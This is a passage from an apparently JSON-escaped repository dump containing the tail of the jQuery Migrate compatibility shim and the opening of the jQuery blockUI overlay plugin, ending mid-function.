null;\n\t}\n\treturn oldParseJSON.apply( this, arguments );\n};\n\njQuery.uaMatch = function( ua ) {\n\tua = ua.toLowerCase();\n\n\tvar match = /(chrome)[ \\/]([\\w.]+)/.exec( ua ) ||\n\t\t/(webkit)[ \\/]([\\w.]+)/.exec( ua ) ||\n\t\t/(opera)(?:.*version|)[ \\/]([\\w.]+)/.exec( ua ) ||\n\t\t/(msie) ([\\w.]+)/.exec( ua ) ||\n\t\tua.indexOf(\"compatible\") < 0 && /(mozilla)(?:.*? rv:([\\w.]+)|)/.exec( ua ) ||\n\t\t[];\n\n\treturn {\n\t\tbrowser: match[ 1 ] || \"\",\n\t\tversion: match[ 2 ] || \"0\"\n\t};\n};\n\n// Don't clobber any existing jQuery.browser in case it's different\nif ( !jQuery.browser ) {\n\tmatched = jQuery.uaMatch( navigator.userAgent );\n\tbrowser = {};\n\n\tif ( matched.browser ) {\n\t\tbrowser[ matched.browser ] = true;\n\t\tbrowser.version = matched.version;\n\t}\n\n\t// Chrome is Webkit, but Webkit is also Safari.\n\tif ( browser.chrome ) {\n\t\tbrowser.webkit = true;\n\t} else if ( browser.webkit ) {\n\t\tbrowser.safari = true;\n\t}\n\n\tjQuery.browser = browser;\n}\n\n// Warn if the code tries to get jQuery.browser\nmigrateWarnProp( jQuery, \"browser\", jQuery.browser, \"jQuery.browser is deprecated\" );\n\n// jQuery.boxModel deprecated in 1.3, jQuery.support.boxModel deprecated in 1.7\njQuery.boxModel = jQuery.support.boxModel = (document.compatMode === \"CSS1Compat\");\nmigrateWarnProp( jQuery, \"boxModel\", jQuery.boxModel, \"jQuery.boxModel is deprecated\" );\nmigrateWarnProp( jQuery.support, \"boxModel\", jQuery.support.boxModel, \"jQuery.support.boxModel is deprecated\" );\n\njQuery.sub = function() {\n\tfunction jQuerySub( selector, context ) {\n\t\treturn new jQuerySub.fn.init( selector, context );\n\t}\n\tjQuery.extend( true, jQuerySub, this );\n\tjQuerySub.superclass = this;\n\tjQuerySub.fn = jQuerySub.prototype = this();\n\tjQuerySub.fn.constructor = jQuerySub;\n\tjQuerySub.sub = this.sub;\n\tjQuerySub.fn.init = function init( selector, context ) {\n\t\tvar instance = jQuery.fn.init.call( this, selector, context, rootjQuerySub );\n\t\treturn instance instanceof jQuerySub ?\n\t\t\tinstance :\n\t\t\tjQuerySub( instance );\n\t};\n\tjQuerySub.fn.init.prototype = jQuerySub.fn;\n\tvar rootjQuerySub = jQuerySub(document);\n\tmigrateWarn( \"jQuery.sub() is deprecated\" );\n\treturn jQuerySub;\n};\n\n// The number of elements contained in the matched element set\njQuery.fn.size = function() {\n\tmigrateWarn( \"jQuery.fn.size() is deprecated; use the .length property\" );\n\treturn this.length;\n};\n\n\nvar internalSwapCall = false;\n\n// If this version of jQuery has .swap(), don't false-alarm on internal uses\nif ( jQuery.swap ) {\n\tjQuery.each( [ \"height\", \"width\", \"reliableMarginRight\" ], function( _, name ) {\n\t\tvar oldHook = jQuery.cssHooks[ name ] && jQuery.cssHooks[ name ].get;\n\n\t\tif ( oldHook ) {\n\t\t\tjQuery.cssHooks[ name ].get = function() {\n\t\t\t\tvar ret;\n\n\t\t\t\tinternalSwapCall = true;\n\t\t\t\tret = oldHook.apply( this, arguments );\n\t\t\t\tinternalSwapCall = false;\n\t\t\t\treturn ret;\n\t\t\t};\n\t\t}\n\t});\n}\n\njQuery.swap = function( elem, options, callback, args ) {\n\tvar ret, name,\n\t\told = {};\n\n\tif ( !internalSwapCall ) {\n\t\tmigrateWarn( \"jQuery.swap() is undocumented and deprecated\" );\n\t}\n\n\t// Remember the old values, and insert the new ones\n\tfor ( name in options ) {\n\t\told[ name ] = elem.style[ name ];\n\t\telem.style[ name ] = options[ name ];\n\t}\n\n\tret = callback.apply( elem, args || [] );\n\n\t// Revert the old values\n\tfor ( name in options ) {\n\t\telem.style[ name ] = old[ name ];\n\t}\n\n\treturn ret;\n};\n\n\n// Ensure that $.ajax gets the new parseJSON defined in core.js\njQuery.ajaxSetup({\n\tconverters: {\n\t\t\"text json\": jQuery.parseJSON\n\t}\n});\n\n\nvar oldFnData = jQuery.fn.data;\n\njQuery.fn.data = function( name ) {\n\tvar ret, evt,\n\t\telem = this[0];\n\n\t// Handles 1.7 which has this behavior and 1.8 which doesn't\n\tif ( elem && name === \"events\" && arguments.length === 1 ) {\n\t\tret = jQuery.data( elem, name );\n\t\tevt = jQuery._data( elem, name );\n\t\tif ( ( ret === undefined || ret === evt ) && evt !== undefined ) {\n\t\t\tmigrateWarn(\"Use of jQuery.fn.data('events') is deprecated\");\n\t\t\treturn evt;\n\t\t}\n\t}\n\treturn oldFnData.apply( this, arguments );\n};\n\n\nvar rscriptType = /\\/(java|ecma)script/i;\n\n// Since jQuery.clean is used internally on older versions, we only shim if it's missing\nif ( !jQuery.clean ) {\n\tjQuery.clean = function( elems, context, fragment, scripts ) {\n\t\t// Set context per 1.8 logic\n\t\tcontext = context || document;\n\t\tcontext = !context.nodeType && context[0] || context;\n\t\tcontext = context.ownerDocument || context;\n\n\t\tmigrateWarn(\"jQuery.clean() is deprecated\");\n\n\t\tvar i, elem, handleScript, jsTags,\n\t\t\tret = [];\n\n\t\tjQuery.merge( ret, jQuery.buildFragment( elems, context ).childNodes );\n\n\t\t// Complex logic lifted directly from jQuery 1.8\n\t\tif ( fragment ) {\n\t\t\t// Special handling of each script element\n\t\t\thandleScript = function( elem ) {\n\t\t\t\t// Check if we consider it executable\n\t\t\t\tif ( !elem.type || rscriptType.test( elem.type ) ) {\n\t\t\t\t\t// Detach the script and store it in the scripts array (if provided) or the fragment\n\t\t\t\t\t// Return truthy to indicate that it has been handled\n\t\t\t\t\treturn scripts ?\n\t\t\t\t\t\tscripts.push( elem.parentNode ? elem.parentNode.removeChild( elem ) : elem ) :\n\t\t\t\t\t\tfragment.appendChild( elem );\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tfor ( i = 0; (elem = ret[i]) != null; i++ ) {\n\t\t\t\t// Check if we're done after handling an executable script\n\t\t\t\tif ( !( jQuery.nodeName( elem, \"script\" ) && handleScript( elem ) ) ) {\n\t\t\t\t\t// Append to fragment and handle embedded scripts\n\t\t\t\t\tfragment.appendChild( elem );\n\t\t\t\t\tif ( typeof elem.getElementsByTagName !== \"undefined\" ) {\n\t\t\t\t\t\t// handleScript alters the DOM, so use jQuery.merge to ensure snapshot iteration\n\t\t\t\t\t\tjsTags = jQuery.grep( jQuery.merge( [], elem.getElementsByTagName(\"script\") ), handleScript );\n\n\t\t\t\t\t\t// Splice the scripts into ret after their former ancestor and advance our index beyond them\n\t\t\t\t\t\tret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );\n\t\t\t\t\t\ti += jsTags.length;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t};\n}\n\nvar eventAdd = jQuery.event.add,\n\teventRemove = jQuery.event.remove,\n\teventTrigger = jQuery.event.trigger,\n\toldToggle = jQuery.fn.toggle,\n\toldLive = jQuery.fn.live,\n\toldDie = jQuery.fn.die,\n\toldLoad = jQuery.fn.load,\n\tajaxEvents = \"ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess\",\n\trajaxEvent = new RegExp( \"\\\\b(?:\" + ajaxEvents + \")\\\\b\" ),\n\trhoverHack = /(?:^|\\s)hover(\\.\\S+|)\\b/,\n\thoverHack = function( events ) {\n\t\tif ( typeof( events ) !== \"string\" || jQuery.event.special.hover ) {\n\t\t\treturn events;\n\t\t}\n\t\tif ( rhoverHack.test( events ) ) {\n\t\t\tmigrateWarn(\"'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'\");\n\t\t}\n\t\treturn events && events.replace( rhoverHack, \"mouseenter$1 mouseleave$1\" );\n\t};\n\n// Event props removed in 1.9, put them back if needed; no practical way to warn them\nif ( jQuery.event.props && jQuery.event.props[ 0 ] !== \"attrChange\" ) {\n\tjQuery.event.props.unshift( \"attrChange\", \"attrName\", \"relatedNode\", \"srcElement\" );\n}\n\n// Undocumented jQuery.event.handle was \"deprecated\" in jQuery 1.7\nif ( jQuery.event.dispatch ) {\n\tmigrateWarnProp( jQuery.event, \"handle\", jQuery.event.dispatch, \"jQuery.event.handle is undocumented and deprecated\" );\n}\n\n// Support for 'hover' pseudo-event and ajax event warnings\njQuery.event.add = function( elem, types, handler, data, selector ){\n\tif ( elem !== document && rajaxEvent.test( types ) ) {\n\t\tmigrateWarn( \"AJAX events should be attached to document: \" + types );\n\t}\n\teventAdd.call( this, elem, hoverHack( types || \"\" ), handler, data, selector );\n};\njQuery.event.remove = function( elem, types, handler, selector, mappedTypes ){\n\teventRemove.call( this, elem, hoverHack( types ) || \"\", handler, selector, mappedTypes );\n};\n\njQuery.each( [ \"load\", \"unload\", \"error\" ], function( _, name ) {\n\n\tjQuery.fn[ name ] = function() {\n\t\tvar args = Array.prototype.slice.call( arguments, 0 );\n\n\t\t// If this is an ajax load() the first arg should be the string URL;\n\t\t// technically this could also be the \"Anything\" arg of the event .load()\n\t\t// which just goes to show why this dumb signature has been deprecated!\n\t\t// jQuery custom builds that exclude the Ajax module justifiably die here.\n\t\tif ( name === \"load\" && typeof args[ 0 ] === \"string\" ) {\n\t\t\treturn oldLoad.apply( this, args );\n\t\t}\n\n\t\tmigrateWarn( \"jQuery.fn.\" + name + \"() is deprecated\" );\n\n\t\targs.splice( 0, 0, name );\n\t\tif ( arguments.length ) {\n\t\t\treturn this.bind.apply( this, args );\n\t\t}\n\n\t\t// Use .triggerHandler here because:\n\t\t// - load and unload events don't need to bubble, only applied to window or image\n\t\t// - error event should not bubble to window, although it does pre-1.7\n\t\t// See http://bugs.jquery.com/ticket/11820\n\t\tthis.triggerHandler.apply( this, args );\n\t\treturn this;\n\t};\n\n});\n\njQuery.fn.toggle = function( fn, fn2 ) {\n\n\t// Don't mess with animation or css toggles\n\tif ( !jQuery.isFunction( fn ) || !jQuery.isFunction( fn2 ) ) {\n\t\treturn oldToggle.apply( this, arguments );\n\t}\n\tmigrateWarn(\"jQuery.fn.toggle(handler, handler...) is deprecated\");\n\n\t// Save reference to arguments for access in closure\n\tvar args = arguments,\n\t\tguid = fn.guid || jQuery.guid++,\n\t\ti = 0,\n\t\ttoggler = function( event ) {\n\t\t\t// Figure out which function to execute\n\t\t\tvar lastToggle = ( jQuery._data( this, \"lastToggle\" + fn.guid ) || 0 ) % i;\n\t\t\tjQuery._data( this, \"lastToggle\" + fn.guid, lastToggle + 1 );\n\n\t\t\t// Make sure that clicks stop\n\t\t\tevent.preventDefault();\n\n\t\t\t// and execute the function\n\t\t\treturn args[ lastToggle ].apply( this, arguments ) || false;\n\t\t};\n\n\t// link all the functions, so any of them can unbind this click handler\n\ttoggler.guid = guid;\n\twhile ( i < args.length ) {\n\t\targs[ i++ ].guid = guid;\n\t}\n\n\treturn this.click( toggler );\n};\n\njQuery.fn.live = function( types, data, fn ) {\n\tmigrateWarn(\"jQuery.fn.live() is deprecated\");\n\tif ( oldLive ) {\n\t\treturn oldLive.apply( this, arguments );\n\t}\n\tjQuery( this.context ).on( types, this.selector, data, fn );\n\treturn this;\n};\n\njQuery.fn.die = function( types, fn ) {\n\tmigrateWarn(\"jQuery.fn.die() is deprecated\");\n\tif ( oldDie ) {\n\t\treturn oldDie.apply( this, arguments );\n\t}\n\tjQuery( this.context ).off( types, this.selector || \"**\", fn );\n\treturn this;\n};\n\n// Turn global events into document-triggered events\njQuery.event.trigger = function( event, data, elem, onlyHandlers  ){\n\tif ( !elem && !rajaxEvent.test( event ) ) {\n\t\tmigrateWarn( \"Global events are undocumented and deprecated\" );\n\t}\n\treturn eventTrigger.call( this,  event, data, elem || document, onlyHandlers  );\n};\njQuery.each( ajaxEvents.split(\"|\"),\n\tfunction( _, name ) {\n\t\tjQuery.event.special[ name ] = {\n\t\t\tsetup: function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\t// The document needs no shimming; must be !== for oldIE\n\t\t\t\tif ( elem !== document ) {\n\t\t\t\t\tjQuery.event.add( document, name + \".\" + jQuery.guid, function() {\n\t\t\t\t\t\tjQuery.event.trigger( name, Array.prototype.slice.call( arguments, 1 ), elem, true );\n\t\t\t\t\t});\n\t\t\t\t\tjQuery._data( this, name, jQuery.guid++ );\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t},\n\t\t\tteardown: function() {\n\t\t\t\tif ( this !== document ) {\n\t\t\t\t\tjQuery.event.remove( document, name + \".\" + jQuery._data( this, name ) );\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t};\n\t}\n);\n\njQuery.event.special.ready = {\n\tsetup: function() {\n\t\tif ( this === document ) {\n\t\t\tmigrateWarn( \"'ready' event is deprecated\" );\n\t\t}\n\t}\n};\n\nvar oldSelf = jQuery.fn.andSelf || jQuery.fn.addBack,\n\toldFnFind = jQuery.fn.find;\n\njQuery.fn.andSelf = function() {\n\tmigrateWarn(\"jQuery.fn.andSelf() replaced by jQuery.fn.addBack()\");\n\treturn oldSelf.apply( this, arguments );\n};\n\njQuery.fn.find = function( selector ) {\n\tvar ret = oldFnFind.apply( this, arguments );\n\tret.context = this.context;\n\tret.selector = this.selector ? this.selector + \" \" + selector : selector;\n\treturn ret;\n};\n\n\n// jQuery 1.6 did not support Callbacks, do not warn there\nif ( jQuery.Callbacks ) {\n\n\tvar oldDeferred = jQuery.Deferred,\n\t\ttuples = [\n\t\t\t// action, add listener, callbacks, .then handlers, final state\n\t\t\t[ \"resolve\", \"done\", jQuery.Callbacks(\"once memory\"),\n\t\t\t\tjQuery.Callbacks(\"once memory\"), \"resolved\" ],\n\t\t\t[ \"reject\", \"fail\", jQuery.Callbacks(\"once memory\"),\n\t\t\t\tjQuery.Callbacks(\"once memory\"), \"rejected\" ],\n\t\t\t[ \"notify\", \"progress\", jQuery.Callbacks(\"memory\"),\n\t\t\t\tjQuery.Callbacks(\"memory\") ]\n\t\t];\n\n\tjQuery.Deferred = function( func ) {\n\t\tvar deferred = oldDeferred(),\n\t\t\tpromise = deferred.promise();\n\n\t\tdeferred.pipe = promise.pipe = function( /* fnDone, fnFail, fnProgress */ ) {\n\t\t\tvar fns = arguments;\n\n\t\t\tmigrateWarn( \"deferred.pipe() is deprecated\" );\n\n\t\t\treturn jQuery.Deferred(function( newDefer ) {\n\t\t\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\t\t\tvar fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];\n\t\t\t\t\t// deferred.done(function() { bind to newDefer or newDefer.resolve })\n\t\t\t\t\t// deferred.fail(function() { bind to newDefer or newDefer.reject })\n\t\t\t\t\t// deferred.progress(function() { bind to newDefer or newDefer.notify })\n\t\t\t\t\tdeferred[ tuple[1] ](function() {\n\t\t\t\t\t\tvar returned = fn && fn.apply( this, arguments );\n\t\t\t\t\t\tif ( returned && jQuery.isFunction( returned.promise ) ) {\n\t\t\t\t\t\t\treturned.promise()\n\t\t\t\t\t\t\t\t.done( newDefer.resolve )\n\t\t\t\t\t\t\t\t.fail( newDefer.reject )\n\t\t\t\t\t\t\t\t.progress( newDefer.notify );\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tnewDefer[ tuple[ 0 ] + \"With\" ](\n\t\t\t\t\t\t\t\tthis === promise ? newDefer.promise() : this,\n\t\t\t\t\t\t\t\tfn ? [ returned ] : arguments\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t\tfns = null;\n\t\t\t}).promise();\n\n\t\t};\n\n\t\tdeferred.isResolved = function() {\n\t\t\tmigrateWarn( \"deferred.isResolved is deprecated\" );\n\t\t\treturn deferred.state() === \"resolved\";\n\t\t};\n\n\t\tdeferred.isRejected = function() {\n\t\t\tmigrateWarn( \"deferred.isRejected is deprecated\" );\n\t\t\treturn deferred.state() === \"rejected\";\n\t\t};\n\n\t\tif ( func ) {\n\t\t\tfunc.call( deferred, deferred );\n\t\t}\n\n\t\treturn deferred;\n\t};\n\n}\n\n})( jQuery, window );\n"
  },
  {
    "path": "core/main/client/lib/jquery.blockUI.js",
    "content": "/*!\n * jQuery blockUI plugin\n * Version 2.70.0-2014.11.23\n * Requires jQuery v1.7 or later\n *\n * Examples at: http://malsup.com/jquery/block/\n * Copyright (c) 2007-2013 M. Alsup\n * Dual licensed under the MIT and GPL licenses:\n * http://www.opensource.org/licenses/mit-license.php\n * http://www.gnu.org/licenses/gpl.html\n *\n * Thanks to Amir-Hossein Sobhi for some excellent contributions!\n */\n\n;(function() {\n/*jshint eqeqeq:false curly:false latedef:false */\n\"use strict\";\n\n\tfunction setup($) {\n\t\t$.fn._fadeIn = $.fn.fadeIn;\n\n\t\tvar noOp = $.noop || function() {};\n\n\t\t// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle\n\t\t// confusing userAgent strings on Vista)\n\t\tvar msie = /MSIE/.test(navigator.userAgent);\n\t\tvar ie6  = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);\n\t\tvar mode = document.documentMode || 0;\n\t\tvar setExpr = $.isFunction( document.createElement('div').style.setExpression );\n\n\t\t// global $ methods for blocking/unblocking the entire page\n\t\t$.blockUI   = function(opts) { install(window, opts); };\n\t\t$.unblockUI = function(opts) { remove(window, opts); };\n\n\t\t// convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)\n\t\t$.growlUI = function(title, message, timeout, onClose) {\n\t\t\tvar $m = $('<div class=\"growlUI\"></div>');\n\t\t\tif (title) $m.append('<h1>'+title+'</h1>');\n\t\t\tif (message) $m.append('<h2>'+message+'</h2>');\n\t\t\tif (timeout === undefined) timeout = 3000;\n\n\t\t\t// Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications\n\t\t\tvar callBlock = function(opts) {\n\t\t\t\topts = opts || {};\n\n\t\t\t\t$.blockUI({\n\t\t\t\t\tmessage: $m,\n\t\t\t\t\tfadeIn : typeof opts.fadeIn  !== 'undefined' ? opts.fadeIn  : 700,\n\t\t\t\t\tfadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,\n\t\t\t\t\ttimeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,\n\t\t\t\t\tcenterY: false,\n\t\t\t\t\tshowOverlay: false,\n\t\t\t\t\tonUnblock: onClose,\n\t\t\t\t\tcss: $.blockUI.defaults.growlCSS\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tcallBlock();\n\t\t\tvar nonmousedOpacity = $m.css('opacity');\n\t\t\t$m.mouseover(function() {\n\t\t\t\tcallBlock({\n\t\t\t\t\tfadeIn: 0,\n\t\t\t\t\ttimeout: 30000\n\t\t\t\t});\n\n\t\t\t\tvar displayBlock = $('.blockMsg');\n\t\t\t\tdisplayBlock.stop(); // cancel fadeout if it has started\n\t\t\t\tdisplayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency\n\t\t\t}).mouseout(function() {\n\t\t\t\t$('.blockMsg').fadeOut(1000);\n\t\t\t});\n\t\t\t// End konapun additions\n\t\t};\n\n\t\t// plugin method for blocking element content\n\t\t$.fn.block = function(opts) {\n\t\t\tif ( this[0] === window ) {\n\t\t\t\t$.blockUI( opts );\n\t\t\t\treturn this;\n\t\t\t}\n\t\t\tvar fullOpts = $.extend({}, $.blockUI.defaults, opts || {});\n\t\t\tthis.each(function() {\n\t\t\t\tvar $el = $(this);\n\t\t\t\tif (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))\n\t\t\t\t\treturn;\n\t\t\t\t$el.unblock({ fadeOut: 0 });\n\t\t\t});\n\n\t\t\treturn this.each(function() {\n\t\t\t\tif ($.css(this,'position') == 'static') {\n\t\t\t\t\tthis.style.position = 'relative';\n\t\t\t\t\t$(this).data('blockUI.static', true);\n\t\t\t\t}\n\t\t\t\tthis.style.zoom = 1; // force 'hasLayout' in ie\n\t\t\t\tinstall(this, opts);\n\t\t\t});\n\t\t};\n\n\t\t// plugin method for unblocking element content\n\t\t$.fn.unblock = function(opts) {\n\t\t\tif ( this[0] === window ) {\n\t\t\t\t$.unblockUI( opts );\n\t\t\t\treturn this;\n\t\t\t}\n\t\t\treturn this.each(function() {\n\t\t\t\tremove(this, opts);\n\t\t\t});\n\t\t};\n\n\t\t$.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!\n\n\t\t// override these in your code to change the default behavior and style\n\t\t$.blockUI.defaults = {\n\t\t\t// message displayed when blocking (use null for no message)\n\t\t\tmessage:  '<h1>Please wait...</h1>',\n\n\t\t\ttitle: null,\t\t// title string; only used when theme == true\n\t\t\tdraggable: true,\t// only used when theme == true (requires jquery-ui.js to be loaded)\n\n\t\t\ttheme: false, // set to true to use with jQuery UI themes\n\n\t\t\t// styles for the message when blocking; if you wish to disable\n\t\t\t// these and use an external stylesheet then do this in your code:\n\t\t\t// $.blockUI.defaults.css = {};\n\t\t\tcss: {\n\t\t\t\tpadding:\t0,\n\t\t\t\tmargin:\t\t0,\n\t\t\t\twidth:\t\t'30%',\n\t\t\t\ttop:\t\t'40%',\n\t\t\t\tleft:\t\t'35%',\n\t\t\t\ttextAlign:\t'center',\n\t\t\t\tcolor:\t\t'#000',\n\t\t\t\tborder:\t\t'3px solid #aaa',\n\t\t\t\tbackgroundColor:'#fff',\n\t\t\t\tcursor:\t\t'wait'\n\t\t\t},\n\n\t\t\t// minimal style set used when themes are used\n\t\t\tthemedCSS: {\n\t\t\t\twidth:\t'30%',\n\t\t\t\ttop:\t'40%',\n\t\t\t\tleft:\t'35%'\n\t\t\t},\n\n\t\t\t// styles for the overlay\n\t\t\toverlayCSS:  {\n\t\t\t\tbackgroundColor:\t'#000',\n\t\t\t\topacity:\t\t\t0.6,\n\t\t\t\tcursor:\t\t\t\t'wait'\n\t\t\t},\n\n\t\t\t// style to replace wait cursor before unblocking to correct issue\n\t\t\t// of lingering wait cursor\n\t\t\tcursorReset: 'default',\n\n\t\t\t// styles applied when using $.growlUI\n\t\t\tgrowlCSS: {\n\t\t\t\twidth:\t\t'350px',\n\t\t\t\ttop:\t\t'10px',\n\t\t\t\tleft:\t\t'',\n\t\t\t\tright:\t\t'10px',\n\t\t\t\tborder:\t\t'none',\n\t\t\t\tpadding:\t'5px',\n\t\t\t\topacity:\t0.6,\n\t\t\t\tcursor:\t\t'default',\n\t\t\t\tcolor:\t\t'#fff',\n\t\t\t\tbackgroundColor: '#000',\n\t\t\t\t'-webkit-border-radius':'10px',\n\t\t\t\t'-moz-border-radius':\t'10px',\n\t\t\t\t'border-radius':\t\t'10px'\n\t\t\t},\n\n\t\t\t// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w\n\t\t\t// (hat tip to Jorge H. N. de Vasconcelos)\n\t\t\t/*jshint scripturl:true */\n\t\t\tiframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',\n\n\t\t\t// force usage of iframe in non-IE browsers (handy for blocking applets)\n\t\t\tforceIframe: false,\n\n\t\t\t// z-index for the blocking overlay\n\t\t\tbaseZ: 1000,\n\n\t\t\t// set these to true to have the message automatically centered\n\t\t\tcenterX: true, // <-- only effects element blocking (page block controlled via css above)\n\t\t\tcenterY: true,\n\n\t\t\t// allow body element to be stetched in ie6; this makes blocking look better\n\t\t\t// on \"short\" pages.  disable if you wish to prevent changes to the body height\n\t\t\tallowBodyStretch: true,\n\n\t\t\t// enable if you want key and mouse events to be disabled for content that is blocked\n\t\t\tbindEvents: true,\n\n\t\t\t// be default blockUI will supress tab navigation from leaving blocking content\n\t\t\t// (if bindEvents is true)\n\t\t\tconstrainTabKey: true,\n\n\t\t\t// fadeIn time in millis; set to 0 to disable fadeIn on block\n\t\t\tfadeIn:  200,\n\n\t\t\t// fadeOut time in millis; set to 0 to disable fadeOut on unblock\n\t\t\tfadeOut:  400,\n\n\t\t\t// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock\n\t\t\ttimeout: 0,\n\n\t\t\t// disable if you don't want to show the overlay\n\t\t\tshowOverlay: true,\n\n\t\t\t// if true, focus will be placed in the first available input field when\n\t\t\t// page blocking\n\t\t\tfocusInput: true,\n\n            // elements that can receive focus\n            focusableElements: ':input:enabled:visible',\n\n\t\t\t// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)\n\t\t\t// no longer needed in 2012\n\t\t\t// applyPlatformOpacityRules: true,\n\n\t\t\t// callback method invoked when fadeIn has completed and blocking message is visible\n\t\t\tonBlock: null,\n\n\t\t\t// callback method invoked when unblocking has completed; the callback is\n\t\t\t// passed the element that has been unblocked (which is the window object for page\n\t\t\t// blocks) and the options that were passed to the unblock call:\n\t\t\t//\tonUnblock(element, options)\n\t\t\tonUnblock: null,\n\n\t\t\t// callback method invoked when the overlay area is clicked.\n\t\t\t// setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.\n\t\t\tonOverlayClick: null,\n\n\t\t\t// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493\n\t\t\tquirksmodeOffsetHack: 4,\n\n\t\t\t// class name of the message block\n\t\t\tblockMsgClass: 'blockMsg',\n\n\t\t\t// if it is already blocked, then ignore it (don't unblock and reblock)\n\t\t\tignoreIfBlocked: false\n\t\t};\n\n\t\t// private data and functions follow...\n\n\t\tvar pageBlock = null;\n\t\tvar pageBlockEls = [];\n\n\t\tfunction install(el, opts) {\n\t\t\tvar css, themedCSS;\n\t\t\tvar full = (el == window);\n\t\t\tvar msg = (opts && opts.message !== undefined ? opts.message : undefined);\n\t\t\topts = $.extend({}, $.blockUI.defaults, opts || {});\n\n\t\t\tif (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))\n\t\t\t\treturn;\n\n\t\t\topts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});\n\t\t\tcss = $.extend({}, $.blockUI.defaults.css, opts.css || {});\n\t\t\tif (opts.onOverlayClick)\n\t\t\t\topts.overlayCSS.cursor = 'pointer';\n\n\t\t\tthemedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});\n\t\t\tmsg = msg === undefined ? opts.message : msg;\n\n\t\t\t// remove the current block (if there is one)\n\t\t\tif (full && pageBlock)\n\t\t\t\tremove(window, {fadeOut:0});\n\n\t\t\t// if an existing element is being used as the blocking content then we capture\n\t\t\t// its current place in the DOM (and current display style) so we can restore\n\t\t\t// it when we unblock\n\t\t\tif (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {\n\t\t\t\tvar node = msg.jquery ? msg[0] : msg;\n\t\t\t\tvar data = {};\n\t\t\t\t$(el).data('blockUI.history', data);\n\t\t\t\tdata.el = node;\n\t\t\t\tdata.parent = node.parentNode;\n\t\t\t\tdata.display = node.style.display;\n\t\t\t\tdata.position = node.style.position;\n\t\t\t\tif (data.parent)\n\t\t\t\t\tdata.parent.removeChild(node);\n\t\t\t}\n\n\t\t\t$(el).data('blockUI.onUnblock', opts.onUnblock);\n\t\t\tvar z = opts.baseZ;\n\n\t\t\t// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;\n\t\t\t// layer1 is the iframe layer which is used to supress bleed through of underlying content\n\t\t\t// layer2 is the overlay layer which has opacity and a wait cursor (by default)\n\t\t\t// layer3 is the message content that is displayed while blocking\n\t\t\tvar lyr1, lyr2, lyr3, s;\n\t\t\tif (msie || opts.forceIframe)\n\t\t\t\tlyr1 = $('<iframe class=\"blockUI\" style=\"z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0\" src=\"'+opts.iframeSrc+'\"></iframe>');\n\t\t\telse\n\t\t\t\tlyr1 = $('<div class=\"blockUI\" style=\"display:none\"></div>');\n\n\t\t\tif (opts.theme)\n\t\t\t\tlyr2 = $('<div class=\"blockUI blockOverlay ui-widget-overlay\" style=\"z-index:'+ (z++) +';display:none\"></div>');\n\t\t\telse\n\t\t\t\tlyr2 = $('<div class=\"blockUI blockOverlay\" style=\"z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0\"></div>');\n\n\t\t\tif (opts.theme && full) {\n\t\t\t\ts = '<div class=\"blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all\" style=\"z-index:'+(z+10)+';display:none;position:fixed\">';\n\t\t\t\tif ( opts.title ) {\n\t\t\t\t\ts += '<div class=\"ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle\">'+(opts.title || '&nbsp;')+'</div>';\n\t\t\t\t}\n\t\t\t\ts += '<div class=\"ui-widget-content ui-dialog-content\"></div>';\n\t\t\t\ts += '</div>';\n\t\t\t}\n\t\t\telse if (opts.theme) {\n\t\t\t\ts = '<div class=\"blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all\" style=\"z-index:'+(z+10)+';display:none;position:absolute\">';\n\t\t\t\tif ( opts.title ) {\n\t\t\t\t\ts += '<div class=\"ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle\">'+(opts.title || '&nbsp;')+'</div>';\n\t\t\t\t}\n\t\t\t\ts += '<div class=\"ui-widget-content ui-dialog-content\"></div>';\n\t\t\t\ts += '</div>';\n\t\t\t}\n\t\t\telse if (full) {\n\t\t\t\ts = '<div class=\"blockUI ' + opts.blockMsgClass + ' blockPage\" style=\"z-index:'+(z+10)+';display:none;position:fixed\"></div>';\n\t\t\t}\n\t\t\telse {\n\t\t\t\ts = '<div class=\"blockUI ' + opts.blockMsgClass + ' blockElement\" 